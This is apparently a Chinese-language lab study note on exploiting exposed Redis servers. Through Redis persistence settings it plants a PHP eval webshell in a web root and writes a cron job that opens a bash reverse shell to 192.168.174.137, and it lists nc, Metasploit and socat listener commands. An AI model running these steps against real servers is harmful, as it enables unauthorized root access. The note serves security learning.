Redis

  • 环境搭建在之前的笔记中记录过了就不再演示了

Redis持久化机制

redis会把保存到内存的数据不定期的保存到磁盘里,来提升可靠性,较小服务器故障带来的数据丢失的问题

redis有俩种持久化机制RDB和AOF

image-20241219214635180

配置:

1、save 3600 1 # 自动触发规则

2、dbfilename dump.rdb # 文件名

3、dir ./ # 存储路径

手动触发保存命令: save /bgswave

而这样的机制就导致一些恶意的脚本也会被保存下来,下面我们修改一下两项配置测试一下

# 动态修改,只在连接里有效,下次使用还是用配置文件里的配置
config set dir ~/root/tmp
config set dbfilename redis.php

image-20241220213035776

测试一下,会不会保存到文件里

image-20241220213105744

可以看到确实生成了redis.php,所以我们可以通过这种方式写马。

webshell提权

简单用小皮起个web服务

yum install -y wget && sudo wget -O install.sh https://dl.xp.cn/dl/xp/install.sh && sudo bash install.sh

image-20241220214335505

站点目录:/xp/www/admin/localhost_80/wwwroot,把redis的保存目录设置到这里

image-20241220214558809

写入一个带木马的数据到redis数据库

set x "<?php @eval($_POST[cmd]); ?>"
save

image-20241220214720739

可以看到木马已经被写进来了

image-20241220214750604

页面可以被访问到,再试试能不能用蚁剑连接

image-20241220215157165

成功连接上了,试试执行命令

image-20241220215253442

反弹连接

如果一台服务器没有监听80端口,而单纯是一台跑着redis的数据库服务器,或者找不到网站根路径的时候

为什么要用反弹连接:

  1. 内网,私有ip
  2. ip动态有变化
  3. 6379端口不允许入方向
  4. 一句话木马被杀软删除

image-20241220215612246

常见监听端口的方式

类型 命令
netcat nc -lvp 7777 (-lnvp -lvvp) n表示不进行dns解析
msf msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.174.137
set port 7777
run
socat socat TCP-LISTEN:7777 - kali

而反弹shell的方式有非常多,可以用一些在线的网站https://rshell.gm7.org/

image-20241220220758832

sh -i >& /dev/tcp/192.168.174.137/7777 0>&1

image-20241220221906248

因为是root执行的,所以反弹回来是root权限

image-20241220221948751

redis写入反弹连接任务

redis写反弹shell一般是通过定时任务,但cron表达式容易写错,我们可以通过在线生成的方式生成

0 15 10 * * ? * 每天10点15分触发
0 15 10 * * ? 2017 2017年每天10点15分触发
0 * 14 * * ? 每天下午的 2点到2点59分每分触发
0 0/5 14 * * ? 每天下午的 2点到2点59分(整点开始,每隔5分触发)
0 0/5 14,18 * * ? 每天下午的 2点到2点59分、18点到18点59分(整点开始,每隔5分触发)
0 0-5 14 * * ? 每天下午的 2点到2点05分每分触发
0 15 10 ? * 6L 每月最后一周的星期五的10点15分触发
0 15 10 ? * 6#3 每月的第三周的星期五开始触发

“/”:为特别单位,表示为“每”如“0/15”表示每隔15分钟执行一次,“0”表示为从“0”分开始, “3/20”表示表示每隔20分钟执行一次,“3”表示从第3分钟开始执行

“?”:表示每月的某一天,或第周的某一天

“L”:用于每月,或每周,表示为每月的最后一天,或每个月的最后星期几如“6L”表示“每月的最后一个星期五”

“W”:表示为最近工作日,如“15W”放在每月(day-of-month)字段上表示为“到本月15日最近的工作日”

““#”:是用来指定“的”每月第n个工作日,例 在每周(day-of-week)这个字段中内容为”6#3” or “FRI#3” 则表示“每月第三个星期五”

contab命令

命令 操作
crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务

image-20241220235023464

测试的时候还发现xp写了一条定时任务。。。

crontab文件存储路径

路径 内容
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/contab 放的是对应周期的任务dalily、 hourly、monthly、weekly

image-20241221104631846

测试

首先在攻击机上起一个监听

socat TCP-LISTEN:8888 -

然后通过redis写入定时任务

set y "\n* * * * * bash -i >& /dev/tcp/192.168.174.137/8888 0>&1\n" #每隔一分钟执行一次

在Unix-like系统中,* * * * * 这样的格式通常用于crontab文件中,用于设置定时任务(cron job)。crontab是一个用于配置周期性被执行的指令的守护程序。每个字段代表一个时间单位:

  • 第一个星号(*):分钟(0 - 59)
  • 第二个星号(*):小时(0 - 23)
  • 第三个星号(*):一个月中的日期(1 - 31)
  • 第四个星号(*):月份(1 - 12)
  • 第五个星号(*):星期中的日期(0 - 7)其中0和7都代表星期日

* * * * * 表示每分钟、每小时、每天、每月、每周的任何时间都会执行后面的命令。

再将指令,写入定时任务的文件里

config set dir /var/spool/cron/
config set dbfilename root
save

image-20241221105624556

image-20241221105720834

SSH key免密登录

  1. 客户端生成密钥对((公钥、私钥)
  2. 客户端把公钥发给服务端保存(正常情况需要密码)
  3. 客户端用私钥加密消息,发给服务端
  4. 服务端用公钥解密,解密成功,说明密钥匹配
  5. 客户端免密登录成功

vulnhub-breach

vulnhub-DC9